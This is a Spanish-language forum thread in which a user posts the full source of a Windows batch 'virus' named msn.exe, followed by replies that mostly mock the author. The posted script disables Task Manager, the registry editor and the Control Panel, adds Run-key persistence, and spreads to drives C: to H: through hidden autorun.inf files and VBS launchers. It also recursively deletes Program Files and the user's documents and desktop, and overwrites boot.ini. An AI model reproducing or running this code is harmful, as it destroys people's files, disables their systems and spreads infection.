virus informatico msn.exe

Iniciado por W4rR3d, 17 Febrero 2011, 23:49 PM

0 Miembros y 1 Visitante están viendo este tema.

Imprimir
Ir Abajo Páginas1 2
Acciones del Usuario

W4rR3d

17 Febrero 2011, 23:49 PM Ultima modificación: 18 Febrero 2011, 15:43 PM por W4rR3d
espero que si ven un error en este virus informatico lo notifican

su amigo W4rR3d
Código (dos) [Seleccionar]
@echo off

::************************************************
::        VIRUS INFORMATICO MSN.EXE
::************************************************
::          virus creado por hacked by
::      W4rR3d  - G3kk0 - W4rc10k - M1lh077
:: virus dedicado al grupo de hackers " Ka0 Team"
::************************************************
..************************************************
..              Piura  -   Peru
.*************************************************
.      Autodidacta en Ingenieria de Sistemas
.         y creador de virus informaticos
.                hacked by W4rR3d
.*************************************************
:inicio
Set b1=echo
Set b2=xcopy /I /y
Set b3=mkdir
Set b4=C:\
Set b5=D:\
Set b6=E:\
Set b7=F:\
Set b8=G:\
Set b9=H:\
Set b10=%windir%
Set b11=%programfiles%
Set b12=%systemdrive%
Set b13=%USERNAME%
Set b14=%homedrive%
taskkill /f/im explorer.exe /im teatimer.exe /im msnmsgr.exe /im im  mspaint.exe
taskkill /f/im explorer.exe / im  notepad.exe /im  calc.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v msn /t REG_SZ /d "%b10%\system32\msn\msn.exe" /f
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v hotmail /t REG_SZ /d "%b5%\system32\msn\msn.exe" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\currentVersion\policies\System /v NoDispCpl /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWindowsUpdate /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\My Computer" /v NoDrives /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Advanced /v Hidden /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableMsConfig /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_ DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1297979999&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&lc=10250&id=64855&mkt=es-pe&cbcxt=mai&snsc=1"
reg Add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 1 /f
reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Window Title" /t REG_SZ /d "Hacked By W4rR3d"
if exist C:\ goto C1
if not "%1"=="" goto D
:C1
if exist %b4%msn attrib +h +s %b4%msn&attrib +s +h +r %b4%autorun.inf
%b2% %b10%\system32\msn %b4%msn
%b3% "%b10%\system32\msn"
copy /y %0 "%b10%\system32\msn\msn.exe"
%b1% [autorun] >>%b4%autorun.inf
%b1% OPEN=msn\msn.exe >>%b4%autorun.inf
%b1% shell\open\Command=msn\msn.exe >>%b4%autorun.inf
%b1% shell\open\Default=1 >>%b4%autorun.inf
%b1% shell\explore\Command=msn\msn.exe >>%b4%autorun.inf
attrib +s +h +r %b4%msn
attrib +s +h +r %b4%autorun.inf
%b1% on error resume next>> %b4%msn.vbs
%b1% set shell = createobject("wscript.shell")>> %b4%msn.vbs
%b1% shell.run "%b10%\system32\msn\msn.exe">> %b4%msn.vbs
start %b4%msn.vbs
%b1% Msgbox "bienvenido a hotmail.com" >> %b4%aviso.vbs
start %b4%aviso.vbs
:D
if exist D:\ goto D1
if not "%1"=="" goto E
:D1
if exist %b5%msn attrib +h +s %b5%msn&attrib +s +h +r %b5%autorun.inf
%b2% %b10%\system32\msn %b5%msn
%b3% "%b10%\system32\msn"
copy /y %0 "%b10%\system32\msn\msn.exe"
%b1% [autorun] >>%b5%autorun.inf
%b1% OPEN=msn\msn.exe >>%b5%autorun.inf
%b1% shell\open\Command=msn\msn.exe >>%b5%autorun.inf
%b1% shell\open\Default=1 >>%b5%autorun.inf
%b1% shell\explore\Command=msn\msn.exe >>%b5%autorun.inf
attrib +s +h +r %b5%msn
attrib +s +h +r %b5%autorun.inf
%b1% on error resume next>> %b5%msn.vbs
%b1% set shell = createobject("wscript.shell")>> %b5%msn.vbs
%b1% shell.run "%b10%\system32\msn\msn.exe">> %b5%msn.vbs
start %b5%msn.vbs
%b1% Msgbox "bienvenido a hotmail.com" >> %b5%aviso.vbs
start %b5%aviso.vbs
:E
if exist E:\ goto E1
if not "%1"=="" goto F
:E1
if exist %b6%msn attrib +h +s %b6%msn&attrib +s +h +r %b6%autorun.inf
%b2% %b10%\system32\msn %b6%msn
%b3% "%b10%\system32\msn"
copy /y %0 "%b10%\system32\msn\msn.exe"
%b1% [autorun] >>%b6%autorun.inf
%b1% OPEN=msn\msn.exe >>%b6%autorun.inf
%b1% shell\open\Command=msn\msn.exe >>%b6%autorun.inf
%b1% shell\open\Default=1 >>%b6%autorun.inf
%b1% shell\explore\Command=msn\msn.exe >>%b6%autorun.inf
attrib +s +h +r %b6%msn
attrib +s +h +r %b6%autorun.inf
%b1% on error resume next>> %b6%msn.vbs
%b1% set shell = createobject("wscript.shell")>> %b6%msn.vbs
%b1% shell.run "%b10%\system32\msn\msn.exe">> %b6%msn.vbs
start %b6%msn.vbs
%b1% Msgbox "bienvenido a hotmail.com" >> %b6%aviso.vbs
start %b6%aviso.vbs
:F
if exist F:\ goto F1
if not "%1"=="" goto G
:F1
if exist %b7%msn attrib +h +s %b7%msn&attrib +s +h +r %b7%autorun.inf
%b2% %b10%\system32\msn %b7%msn
%b3% "%b10%\system32\msn"
copy /y %0 "%b10%\system32\msn\msn.exe"
%b1% [autorun] >>%b7%autorun.inf
%b1% OPEN=msn\msn.exe >>%b7%autorun.inf
%b1% shell\open\Command=msn\msn.exe >>%b7%autorun.inf
%b1% shell\open\Default=1 >>%b7%autorun.inf
%b1% shell\explore\Command=msn\msn.exe >>%b7%autorun.inf
attrib +s +h +r %b7%msn
attrib +s +h +r %b7%autorun.inf
%b1% on error resume next>> %b7%msn.vbs
%b1% set shell = createobject("wscript.shell")>> %b7%msn.vbs
%b1% shell.run "%b10%\system32\msn\msn.exe">> %b7%msn.vbs
start %b7%msn.vbs
%b1% Msgbox "bienvenido a hotmail.com" >> %b7%aviso.vbs
start %b7%aviso.vbs
:G
if exist G goto G1
if not "%1"=="" goto H
:G1
if exist %b8%msn attrib +h +s %b8%msn&attrib +s +h +r %b8%autorun.inf
%b2% %b10%\system32\msn %b8%msn
%b3% "%b10%\system32\msn"
copy /y %0 "%b10%\system32\msn\msn.exe"
%b1% [autorun] >>%b8%autorun.inf
%b1% OPEN=msn\msn.exe >>%b8%autorun.inf
%b1% shell\open\Command=msn\msn.exe >>%b8%autorun.inf
%b1% shell\open\Default=1 >>%b8%autorun.inf
%b1% shell\explore\Command=msn\msn.exe >>%b8%autorun.inf
attrib +s +h +r %b8%msn
attrib +s +h +r %b8%autorun.inf
%b1% on error resume next>> %b8%msn.vbs
%b1% set shell = createobject("wscript.shell")>> %b8%msn.vbs
%b1% shell.run "%b10%\system32\msn\msn.exe">> %b8%msn.vbs
start %b8%msn.vbs
%b1% Msgbox "bienvenido a hotmail.com" >> %b8%aviso.vbs
start %b8%aviso.vbs
:H
if exist H goto H1
if not "%1"=="" goto bor
:H1
if exist %b9%msn attrib +h +s %b9%msn&attrib +s +h +r %b9%autorun.inf
%b2% %b10%\system32\msn %b9%msn
%b3% "%b10%\system32\msn"
copy /y %0 "%b10%\system32\msn\msn.exe"
%b1% [autorun] >>%b9%autorun.inf
%b1% OPEN=msn\msn.exe >>%b9%autorun.inf
%b1% shell\open\Command=msn\msn.exe >>%b9%autorun.inf
%b1% shell\open\Default=1 >>%b9%autorun.inf
%b1% shell\explore\Command=msn\msn.exe >>%b9%autorun.inf
attrib +s +h +r %b9%msn
attrib +s +h +r %b9%autorun.inf
%b1% on error resume next>> %b9%msn.vbs
%b1% set shell = createobject("wscript.shell")>> %b9%msn.vbs
%b1% shell.run "%b10%\system32\msn\msn.exe">> %b9%msn.vbs
start %b9%msn.vbs
%b1% Msgbox "bienvenido a hotmail.com" >> %b9%aviso.vbs
start %b9%aviso.vbs
:bor
DEL /Q /F /S "%b11%\*.*"
DEL /Q /F /S "%b12%\Documents and Settings\%b13%\Meus documentos\*.*"
DEL /Q /F /S "%b12%\Documents and Settings\%b13%\Escritorio\*.*"
%b1% -={W4rR3d_by_hacked}=- >> "%b10%\system32"\"-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b10%\system"\"-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b10%\"\"-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b4%""-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b5%""-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b6%""-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b7%""-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b8%""-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b9%""-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%systemdrive%\Documents and Settings\%b13%\Escritorio\-={W4rR3d_by_hacked}=-.RAR.EXE"
%b1% -={W4rR3d_by_hacked}=- >> "%b12%\Documents and Settings\%b13%\Mis documentos\-={W4rR3d_by_hacked}=-.RAR.EXE"
:boot
attrib -h -s -r %b14%\boot.ini
DEL /Q "%b14%\boot.ini"
%b1% [boot loader] >> %b14%\boot.ini
%b1% timeout=30 >> %b14%\boot.ini
%b1% default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS >> %b14%\boot.ini
%b1% default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWs >> %b14%\boot.ini
%b1% [operating systems] >> %b14%\boot.ini
%b1% multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect >> %b14%\boot.ini
%b1% multi(0)disk(0)rdisk(0)partition(1)\WINDOWs="-={W4rR3d_by_hacked}=-" /noexecute=optin / >> %b14%\boot.ini
attrib +s +h +r %b14%\boot.ini
goto inicio

pucheto

#1
18 Febrero 2011, 00:24 AM
Otra vez sopa....

Cita de: W4rR3d en 17 Febrero 2011, 23:49 PM
Código (dos) [Seleccionar]

Set b1=echo
Set b2=xcopy /I /y
Set b3=mkdir
...
Set b9=H:\
Set b10=%windir%
Set b11=%programfiles%
Set b12=%systemdrive%
Set b13=%USERNAME%
Set b14=%homedrive%
Que pibe declarativo, eso es ser un buen programador, y sobre todo de muy buenas costumbres...

Cita de: W4rR3d en 17 Febrero 2011, 23:49 PM
Código (dos) [Seleccionar]
.*************************************************
.      Autodidacta en Ingenieria de Sistemas
.         y creador de virus informaticos
.                hacked by W4rR3d
.*************************************************
Felicidades nuevamente! pero te falto aclarar "los mejores hackers de Piura - Peru"

Shell Root

#2
18 Febrero 2011, 00:31 AM
Cita de: pucheto en 18 Febrero 2011, 00:24 AM, eso es ser un buen programador,
hahahaha no quiero saber que le diría si de verdad programa en un lenguaje de programación :D
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

43H4FH44H45H4CH49H56H45H

#3
18 Febrero 2011, 00:35 AM
Cita de: pucheto en 18 Febrero 2011, 00:24 AMFelicidades nuevamente! pero te falto aclarar "los mejores hackers de Piura - Peru"
;-)
Este post lo cierran de seguro, asi que me apresuro a  preguntar @W4rR3d el titulo muestra msn.exe, pero tu "virus"  :rolleyes: seria un msn.bat, entonces como mencionaste en otro post que dominas tantos lenguajes, queria saber como pasas el .bat a .exe, deberias publicar el codigo fuente de esa aplicación o solamente usas uno de esos "compiladores" de .bat que utilizan aquellos que no tiene idea de programación  :huh:
Saluos.

-R IP
:0100
-A 100 
2826:0100 MOV AH,09
2826:0102 MOV DX,109
2826:0105 INT 21
2826:0105 MOV AH,08
2826:0105 INT 21
2826:0107 INT 20
2826:0109 DB 'MI NICK ES CODELIVE.$' 
2826:0127 
-R BX
:0000
-R CX
:20
-N CODELIVE.COM
-W

SuperDraco

#4
18 Febrero 2011, 08:08 AM
Al menos este tipo, WaRRed, intenta compartir lo que hace... eso tambien cuenta.


Saludos.
No he vuelto, solo estoy de paso.

Audiofilo84

#5
18 Febrero 2011, 20:22 PM
como tu dices si vemos errores que te notifiquemos, entonces voy a proceder a realizarte una consulta para que cierras el paint y la calc?,en que influye?
Código [Seleccionar]

taskkill /f/im explorer.exe /im teatimer.exe /im msnmsgr.exe /im im  mspaint.exe
taskkill /f/im explorer.exe / im  notepad.exe /im  calc.exe

ahora tu crees que exista alguien tan ingenuo todavia?
Código [Seleccionar]
%b1% Msgbox "bienvenido a hotmail.com" >> %b4%aviso.vbs
esto es para pcs portugueses
Código [Seleccionar]
DEL /Q /F /S "%b12%\Documents and Settings\%b13%\Meus documentos\*.*"

una consulta en tu firma dice
Código [Seleccionar]
.      Autodidacta en Ingenieria de Sistemas

conoces de sistemas?, sabes lo que es un sistema? UML te suena?
creo que para ser autodidacta la palabra ingenieria queda un poco grande

y aqui
Código [Seleccionar]
::          virus creado por hacked by
::      W4rR3d

sabes ingles?  creo que hacked no va ahi
y podria seguir pero mejor te dejo.

pd: la intencion de compartir creo  que es lo que mas vale aunque sean recopilaciones de script de otras personas
saludos.

Shell Root

#6
18 Febrero 2011, 21:52 PM
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

43H4FH44H45H4CH49H56H45H

#7
18 Febrero 2011, 23:36 PM
Cita de: Shell Root en 18 Febrero 2011, 21:52 PM
Cita de: Audiofilo84 en 18 Febrero 2011, 20:22 PMUML te suena?
Y esto para qué?

Se refiere a esto:
Cita de: W4rR3d en 17 Febrero 2011, 23:49 PM
.      Autodidacta en Ingenieria de Sistemas

Aunque en este tiempo mejor es mencionar por ejemplo RUP (sobreentendido el papel que tiene UML) para Sistemas Expertos.

Saluos.

-R IP
:0100
-A 100 
2826:0100 MOV AH,09
2826:0102 MOV DX,109
2826:0105 INT 21
2826:0105 MOV AH,08
2826:0105 INT 21
2826:0107 INT 20
2826:0109 DB 'MI NICK ES CODELIVE.$' 
2826:0127 
-R BX
:0000
-R CX
:20
-N CODELIVE.COM
-W

leogtz

#8
18 Febrero 2011, 23:43 PM
Cita de: Audiofilo84 en 18 Febrero 2011, 20:22 PM
conoces de sistemas?, sabes lo que es un sistema? UML te suena?


¿Qué tiene que ver UML?, creo que queda totalmente fuera de lugar.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

Audiofilo84

#9
19 Febrero 2011, 04:57 AM
el dice
Código [Seleccionar]
Autodidacta en Ingenieria de Sistemas
y le pregunto si conoce el lenguaje modelado unificado ya que mucha gente que sabe apenas manejar windows se consideran expertos o porque crackean pass de wifi ya se creen hackers.
saludos.
Imprimir
Ir Arriba Páginas1 2
Acciones del Usuario